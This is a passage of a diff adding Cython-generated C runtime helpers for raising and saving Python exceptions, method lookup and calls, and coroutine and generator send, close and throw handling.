!PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto bad; + } + if (value == Py_None) + value = 0; + if (PyExceptionInstance_Check(type)) { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto bad; + } + value = type; + type = (PyObject*) Py_TYPE(value); + } else if (PyExceptionClass_Check(type)) { + PyObject *instance_class = NULL; + if (value && PyExceptionInstance_Check(value)) { + instance_class = (PyObject*) Py_TYPE(value); + if (instance_class != type) { + int is_subclass = PyObject_IsSubclass(instance_class, type); + if (!is_subclass) { + instance_class = NULL; + } else if (unlikely(is_subclass == -1)) { + goto bad; + } else { + type = instance_class; + } + } + } + if (!instance_class) { + PyObject *args; + if (!value) + args = PyTuple_New(0); + else if (PyTuple_Check(value)) { + Py_INCREF(value); + args = value; + } else + args = PyTuple_Pack(1, value); + if (!args) + goto bad; + owned_instance = PyObject_Call(type, args, NULL); + Py_DECREF(args); + if (!owned_instance) + goto bad; + value = owned_instance; + if (!PyExceptionInstance_Check(value)) { + PyErr_Format(PyExc_TypeError, + "calling %R should have returned an instance of " + "BaseException, not %R", + type, Py_TYPE(value)); + goto bad; + } + } + } else { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto bad; + } + if (cause) { + PyObject *fixed_cause; + if (cause == Py_None) { + fixed_cause = NULL; + } else if (PyExceptionClass_Check(cause)) { + fixed_cause = PyObject_CallObject(cause, NULL); + if (fixed_cause == NULL) + goto bad; + } else if (PyExceptionInstance_Check(cause)) { + fixed_cause = cause; + Py_INCREF(fixed_cause); + } else { + PyErr_SetString(PyExc_TypeError, + "exception causes must derive from " + "BaseException"); + goto bad; + } + PyException_SetCause(value, fixed_cause); + } + PyErr_SetObject(type, value); + if (tb) { + #if PY_VERSION_HEX >= 0x030C00A6 + PyException_SetTraceback(value, tb); + #elif CYTHON_FAST_THREAD_STATE + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject* tmp_tb = tstate->curexc_traceback; + if (tb != tmp_tb) { + Py_INCREF(tb); + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_tb); + } +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_Fetch(&tmp_type, &tmp_value, &tmp_tb); + Py_INCREF(tb); + PyErr_Restore(tmp_type, tmp_value, tb); + Py_XDECREF(tmp_tb); +#endif + } +bad: + Py_XDECREF(owned_instance); + return; +} +#endif + +/* GetTopmostException */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * +__Pyx_PyErr_GetTopmostException(PyThreadState *tstate) +{ + _PyErr_StackItem *exc_info = tstate->exc_info; + while ((exc_info->exc_value == NULL || exc_info->exc_value == Py_None) && + exc_info->previous_item != NULL) + { + exc_info = exc_info->previous_item; + } + return exc_info; +} +#endif + +/* SaveResetException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + PyObject *exc_value = exc_info->exc_value; + if (exc_value == NULL || exc_value == Py_None) { + *value = NULL; + *type = NULL; + *tb = NULL; + } else { + *value = exc_value; + Py_INCREF(*value); + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + *tb = PyException_GetTraceback(exc_value); + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + *type = exc_info->exc_type; + *value = exc_info->exc_value; + *tb = exc_info->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #else + *type = tstate->exc_type; + *value = tstate->exc_value; + *tb = tstate->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #endif +} +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + PyObject *tmp_value = exc_info->exc_value; + exc_info->exc_value = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); + #else + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = type; + exc_info->exc_value = value; + exc_info->exc_traceback = tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = type; + tstate->exc_value = value; + tstate->exc_traceback = tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); + #endif +} +#endif + +/* SwapException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_value = exc_info->exc_value; + exc_info->exc_value = *value; + if (tmp_value == NULL || tmp_value == Py_None) { + Py_XDECREF(tmp_value); + tmp_value = NULL; + tmp_type = NULL; + tmp_tb = NULL; + } else { + tmp_type = (PyObject*) Py_TYPE(tmp_value); + Py_INCREF(tmp_type); + #if CYTHON_COMPILING_IN_CPYTHON + tmp_tb = ((PyBaseExceptionObject*) tmp_value)->traceback; + Py_XINCREF(tmp_tb); + #else + tmp_tb = PyException_GetTraceback(tmp_value); + #endif + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = *type; + exc_info->exc_value = *value; + exc_info->exc_traceback = *tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = *type; + tstate->exc_value = *value; + tstate->exc_traceback = *tb; + #endif + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); + PyErr_SetExcInfo(*type, *value, *tb); + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#endif + +/* PyObjectCall2Args */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2) { + PyObject *args[3] = {NULL, arg1, arg2}; + return __Pyx_PyObject_FastCall(function, args+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectCallOneArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { + PyObject *args[2] = {NULL, arg}; + return __Pyx_PyObject_FastCall(func, args+1, 1 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectGetMethod */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method) { + PyObject *attr; +#if CYTHON_UNPACK_METHODS && CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_PYTYPE_LOOKUP + __Pyx_TypeName type_name; + PyTypeObject *tp = Py_TYPE(obj); + PyObject *descr; + descrgetfunc f = NULL; + PyObject **dictptr, *dict; + int meth_found = 0; + assert (*method == NULL); + if (unlikely(tp->tp_getattro != PyObject_GenericGetAttr)) { + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; + } + if (unlikely(tp->tp_dict == NULL) && unlikely(PyType_Ready(tp) < 0)) { + return 0; + } + descr = _PyType_Lookup(tp, name); + if (likely(descr != NULL)) { + Py_INCREF(descr); +#if defined(Py_TPFLAGS_METHOD_DESCRIPTOR) && Py_TPFLAGS_METHOD_DESCRIPTOR + if (__Pyx_PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_METHOD_DESCRIPTOR)) +#elif PY_MAJOR_VERSION >= 3 + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type))) + #endif +#else + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr))) + #endif +#endif + { + meth_found = 1; + } else { + f = Py_TYPE(descr)->tp_descr_get; + if (f != NULL && PyDescr_IsData(descr)) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + } + } + dictptr = _PyObject_GetDictPtr(obj); + if (dictptr != NULL && (dict = *dictptr) != NULL) { + Py_INCREF(dict); + attr = __Pyx_PyDict_GetItemStr(dict, name); + if (attr != NULL) { + Py_INCREF(attr); + Py_DECREF(dict); + Py_XDECREF(descr); + goto try_unpack; + } + Py_DECREF(dict); + } + if (meth_found) { + *method = descr; + return 1; + } + if (f != NULL) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + if (likely(descr != NULL)) { + *method = descr; + return 0; + } + type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return 0; +#else + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; +#endif +try_unpack: +#if CYTHON_UNPACK_METHODS + if (likely(attr) && PyMethod_Check(attr) && likely(PyMethod_GET_SELF(attr) == obj)) { + PyObject *function = PyMethod_GET_FUNCTION(attr); + Py_INCREF(function); + Py_DECREF(attr); + *method = function; + return 1; + } +#endif + *method = attr; + return 0; +} + +/* PyObjectCallMethod1 */ +#if !(CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2) +static PyObject* __Pyx__PyObject_CallMethod1(PyObject* method, PyObject* arg) { + PyObject *result = __Pyx_PyObject_CallOneArg(method, arg); + Py_DECREF(method); + return result; +} +#endif +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { +#if CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2 + PyObject *args[2] = {obj, arg}; + (void) __Pyx_PyObject_GetMethod; + (void) __Pyx_PyObject_CallOneArg; + (void) __Pyx_PyObject_Call2Args; + return PyObject_VectorcallMethod(method_name, args, 2 | PY_VECTORCALL_ARGUMENTS_OFFSET, NULL); +#else + PyObject *method = NULL, *result; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_Call2Args(method, obj, arg); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) return NULL; + return __Pyx__PyObject_CallMethod1(method, arg); +#endif +} + +/* PyObjectCallNoArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { + PyObject *arg[2] = {NULL, NULL}; + return __Pyx_PyObject_FastCall(func, arg + 1, 0 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* CoroutineBase */ +#include +#if PY_VERSION_HEX >= 0x030b00a6 + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#define __Pyx_Coroutine_Undelegate(gen) Py_CLEAR((gen)->yieldfrom) +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *__pyx_tstate, PyObject **pvalue) { + PyObject *et, *ev, *tb; + PyObject *value = NULL; + CYTHON_UNUSED_VAR(__pyx_tstate); + __Pyx_ErrFetch(&et, &ev, &tb); + if (!et) { + Py_XDECREF(tb); + Py_XDECREF(ev); + Py_INCREF(Py_None); + *pvalue = Py_None; + return 0; + } + if (likely(et == PyExc_StopIteration)) { + if (!ev) { + Py_INCREF(Py_None); + value = Py_None; + } +#if PY_VERSION_HEX >= 0x030300A0 + else if (likely(__Pyx_IS_TYPE(ev, (PyTypeObject*)PyExc_StopIteration))) { + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); + } +#endif + else if (unlikely(PyTuple_Check(ev))) { + if (PyTuple_GET_SIZE(ev) >= 1) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + value = PyTuple_GET_ITEM(ev, 0); + Py_INCREF(value); +#else + value = PySequence_ITEM(ev, 0); +#endif + } else { + Py_INCREF(Py_None); + value = Py_None; + } + Py_DECREF(ev); + } + else if (!__Pyx_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration)) { + value = ev; + } + if (likely(value)) { + Py_XDECREF(tb); + Py_DECREF(et); + *pvalue = value; + return 0; + } + } else if (!__Pyx_PyErr_GivenExceptionMatches(et, PyExc_StopIteration)) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + PyErr_NormalizeException(&et, &ev, &tb); + if (unlikely(!PyObject_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration))) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + Py_XDECREF(tb); + Py_DECREF(et); +#if PY_VERSION_HEX >= 0x030300A0 + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); +#else + { + PyObject* args = __Pyx_PyObject_GetAttrStr(ev, __pyx_n_s_args); + Py_DECREF(ev); + if (likely(args)) { + value = PySequence_GetItem(args, 0); + Py_DECREF(args); + } + if (unlikely(!value)) { + __Pyx_ErrRestore(NULL, NULL, NULL); + Py_INCREF(Py_None); + value = Py_None; + } + } +#endif + *pvalue = value; + return 0; +} +static CYTHON_INLINE +void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *exc_state) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_CLEAR(exc_state->exc_value); +#else + PyObject *t, *v, *tb; + t = exc_state->exc_type; + v = exc_state->exc_value; + tb = exc_state->exc_traceback; + exc_state->exc_type = NULL; + exc_state->exc_value = NULL; + exc_state->exc_traceback = NULL; + Py_XDECREF(t); + Py_XDECREF(v); + Py_XDECREF(tb); +#endif +} +#define __Pyx_Coroutine_AlreadyRunningError(gen) (__Pyx__Coroutine_AlreadyRunningError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyRunningError(__pyx_CoroutineObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check((PyObject*)gen)) { + msg = "coroutine already executing"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact((PyObject*)gen)) { + msg = "async generator already executing"; + #endif + } else { + msg = "generator already executing"; + } + PyErr_SetString(PyExc_ValueError, msg); +} +#define __Pyx_Coroutine_NotStartedError(gen) (__Pyx__Coroutine_NotStartedError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_NotStartedError(PyObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(gen)) { + msg = "can't send non-None value to a just-started coroutine"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(gen)) { + msg = "can't send non-None value to a just-started async generator"; + #endif + } else { + msg = "can't send non-None value to a just-started generator"; + } + PyErr_SetString(PyExc_TypeError, msg); +} +#define __Pyx_Coroutine_AlreadyTerminatedError(gen, value, closing) (__Pyx__Coroutine_AlreadyTerminatedError(gen, value, closing), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyTerminatedError(PyObject *gen, PyObject *value, int closing) { + CYTHON_MAYBE_UNUSED_VAR(gen); + CYTHON_MAYBE_UNUSED_VAR(closing); + #ifdef __Pyx_Coroutine_USED + if (!closing && __Pyx_Coroutine_Check(gen)) { + PyErr_SetString(PyExc_RuntimeError, "cannot reuse already awaited coroutine"); + } else + #endif + if (value) { + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + PyErr_SetNone(__Pyx_PyExc_StopAsyncIteration); + else + #endif + PyErr_SetNone(PyExc_StopIteration); + } +} +static +PyObject *__Pyx_Coroutine_SendEx(__pyx_CoroutineObject *self, PyObject *value, int closing) { + __Pyx_PyThreadState_declare + PyThreadState *tstate; + __Pyx_ExcInfoStruct *exc_state; + PyObject *retval; + assert(!self->is_running); + if (unlikely(self->resume_label == 0)) { + if (unlikely(value && value != Py_None)) { + return __Pyx_Coroutine_NotStartedError((PyObject*)self); + } + } + if (unlikely(self->resume_label == -1)) { + return __Pyx_Coroutine_AlreadyTerminatedError((PyObject*)self, value, closing); + } +#if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + tstate = __pyx_tstate; +#else + tstate = __Pyx_PyThreadState_Current; +#endif + exc_state = &self->gi_exc_state; + if (exc_state->exc_value) { + #if CYTHON_COMPILING_IN_PYPY + #else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #elif PY_VERSION_HEX >= 0x030B00a4 + exc_tb = ((PyBaseExceptionObject*) exc_state->exc_value)->traceback; + #else + exc_tb = exc_state->exc_traceback; + #endif + if (exc_tb) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + assert(f->f_back == NULL); + #if PY_VERSION_HEX >= 0x030B00A1 + f->f_back = PyThreadState_GetFrame(tstate); + #else + Py_XINCREF(tstate->frame); + f->f_back = tstate->frame; + #endif + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + Py_DECREF(exc_tb); + #endif + } + #endif + } +#if CYTHON_USE_EXC_INFO_STACK + exc_state->previous_item = tstate->exc_info; + tstate->exc_info = exc_state; +#else + if (exc_state->exc_type) { + __Pyx_ExceptionSwap(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } else { + __Pyx_Coroutine_ExceptionClear(exc_state); + __Pyx_ExceptionSave(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } +#endif + self->is_running = 1; + retval = self->body(self, tstate, value); + self->is_running = 0; +#if CYTHON_USE_EXC_INFO_STACK + exc_state = &self->gi_exc_state; + tstate->exc_info = exc_state->previous_item; + exc_state->previous_item = NULL; + __Pyx_Coroutine_ResetFrameBackpointer(exc_state); +#endif + return retval; +} +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state) { +#if CYTHON_COMPILING_IN_PYPY + CYTHON_UNUSED_VAR(exc_state); +#else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 + if (!exc_state->exc_value) return; + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #else + exc_tb = exc_state->exc_traceback; + #endif + if (likely(exc_tb)) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + Py_CLEAR(f->f_back); + #if PY_VERSION_HEX >= 0x030B00a4 + Py_DECREF(exc_tb); + #endif + } +#endif +} +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_MethodReturn(PyObject* gen, PyObject *retval) { + CYTHON_MAYBE_UNUSED_VAR(gen); + if (unlikely(!retval)) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (!__Pyx_PyErr_Occurred()) { + PyObject *exc = PyExc_StopIteration; + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + exc = __Pyx_PyExc_StopAsyncIteration; + #endif + __Pyx_PyErr_SetNone(exc); + } + } + return retval; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) +static CYTHON_INLINE +PyObject *__Pyx_PyGen_Send(PyGenObject *gen, PyObject *arg) { +#if PY_VERSION_HEX <= 0x030A00A1 + return _PyGen_Send(gen, arg); +#else + PyObject *result; + if (PyIter_Send((PyObject*)gen, arg ? arg : Py_None, &result) == PYGEN_RETURN) { + if (PyAsyncGen_CheckExact(gen)) { + assert(result == Py_None); + PyErr_SetNone(PyExc_StopAsyncIteration); + } + else if (result == Py_None) { + PyErr_SetNone(PyExc_StopIteration); + } + else { +#if PY_VERSION_HEX < 0x030d00A1 + _PyGen_SetStopIterationValue(result); +#else + if (!PyTuple_Check(result) && !PyExceptionInstance_Check(result)) { + PyErr_SetObject(PyExc_StopIteration, result); + } else { + PyObject *exc = __Pyx_PyObject_CallOneArg(PyExc_StopIteration, result); + if (likely(exc != NULL)) { + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); + } + } +#endif + } + Py_DECREF(result); + result = NULL; + } + return result; +#endif +} +#endif +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_FinishDelegation(__pyx_CoroutineObject *gen) { + PyObject *ret; + PyObject *val = NULL; + __Pyx_Coroutine_Undelegate(gen); + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, &val); + ret = __Pyx_Coroutine_SendEx(gen, val, 0); + Py_XDECREF(val); + return ret; +} +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value) { + PyObject *retval; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + ret = __Pyx_async_gen_asend_send(yf, value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03050000 && defined(PyCoro_CheckExact) && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyCoro_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + { + if (value == Py_None) + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + else + ret = __Pyx_PyObject_CallMethod1(yf, __pyx_n_s_send, value); + } + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + retval = __Pyx_Coroutine_FinishDelegation(gen); + } else { + retval = __Pyx_Coroutine_SendEx(gen, value, 0); + } + return __Pyx_Coroutine_MethodReturn(self, retval); +} +static int __Pyx_Coroutine_CloseIter(__pyx_CoroutineObject *gen, PyObject *yf) { + PyObject *retval = NULL; + int err = 0; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + if (__Pyx_CoroutineAwait_CheckExact(yf)) { + retval = __Pyx_CoroutineAwait_Close((__pyx_CoroutineAwaitObject*)yf, NULL); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + retval = __Pyx_async_gen_asend_close(yf, NULL); + } else + if (__pyx_PyAsyncGenAThrow_CheckExact(yf)) { + retval = __Pyx_async_gen_athrow_close(yf, NULL); + } else + #endif + { + PyObject *meth; + gen->is_running = 1; + meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_close); + if (unlikely(!meth)) { + if (unlikely(PyErr_Occurred())) { + PyErr_WriteUnraisable(yf); + } + } else { + retval = __Pyx_PyObject_CallNoArg(meth); + Py_DECREF(meth); + if (unlikely(!retval)) + err = -1; + } + gen->is_running = 0; + } + Py_XDECREF(retval); + return err; +} +static PyObject *__Pyx_Generator_Next(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Generator_Next(yf); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, NULL); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, Py_None); + } else + #endif + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + return __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_SendEx(gen, Py_None, 0); +} +static PyObject *__Pyx_Coroutine_Close_Method(PyObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self); +} +static PyObject *__Pyx_Coroutine_Close(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *retval, *raised_exception; + PyObject *yf = gen->yieldfrom; + int err = 0; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + Py_INCREF(yf); + err = __Pyx_Coroutine_CloseIter(gen, yf); + __Pyx_Coroutine_Undelegate(gen); + Py_DECREF(yf); + } + if (err == 0) + PyErr_SetNone(PyExc_GeneratorExit); + retval = __Pyx_Coroutine_SendEx(gen, NULL, 1); + if (unlikely(retval)) { + const char *msg; + Py_DECREF(retval); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(self)) { + msg = "coroutine ignored GeneratorExit"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(self)) { +#if PY_VERSION_HEX < 0x03060000 + msg = "async generator ignored GeneratorExit - might require Python 3.6+ finalisation (PEP 525)"; +#else + msg = "async generator ignored GeneratorExit"; +#endif + #endif + } else { + msg = "generator ignored GeneratorExit"; + } + PyErr_SetString(PyExc_RuntimeError, msg); + return NULL; + } + raised_exception = PyErr_Occurred(); + if (likely(!raised_exception || __Pyx_PyErr_GivenExceptionMatches2(raised_exception, PyExc_GeneratorExit, PyExc_StopIteration))) { + if (raised_exception) PyErr_Clear(); + Py_INCREF(Py_None); + return Py_None; + } + return NULL; +} +static PyObject *__Pyx__Coroutine_Throw(PyObject *self, PyObject *typ, PyObject *val, PyObject *tb, + PyObject *args, int close_on_genexit) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + Py_INCREF(yf); + if (__Pyx_PyErr_GivenExceptionMatches(typ, PyExc_GeneratorExit) && close_on_genexit) { + int err = __Pyx_Coroutine_CloseIter(gen, yf); + Py_DECREF(yf); + __Pyx_Coroutine_Undelegate(gen); + if (err < 0) + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); + goto throw_here; + } + gen->is_running = 1; + if (0 + #ifdef __Pyx_Generator_USED + || __Pyx_Generator_CheckExact(yf) + #endif + #ifdef __Pyx_Coroutine_USED + || __Pyx_Coroutine_Check(yf) + #endif + ) { + ret = __Pyx__Coroutine_Throw(yf, typ, val, tb, args, close_on_genexit); + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_CoroutineAwait_CheckExact(yf)) { + ret = __Pyx__Coroutine_Throw(((__pyx_CoroutineAwaitObject*)yf)->coroutine, typ, val, tb, args, close_on_genexit); + #endif + } else { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_throw); + if (unlikely(!meth)) { + Py_DECREF(yf); + if (unlikely(PyErr_Occurred())) { + gen->is_running = 0; + return NULL; + } + __Pyx_Coroutine_Undelegate(gen); + gen->is_running = 0; + goto throw_here; + } + if (likely(args)) { + ret = __Pyx_PyObject_Call(meth, args, NULL); + } else { + PyObject 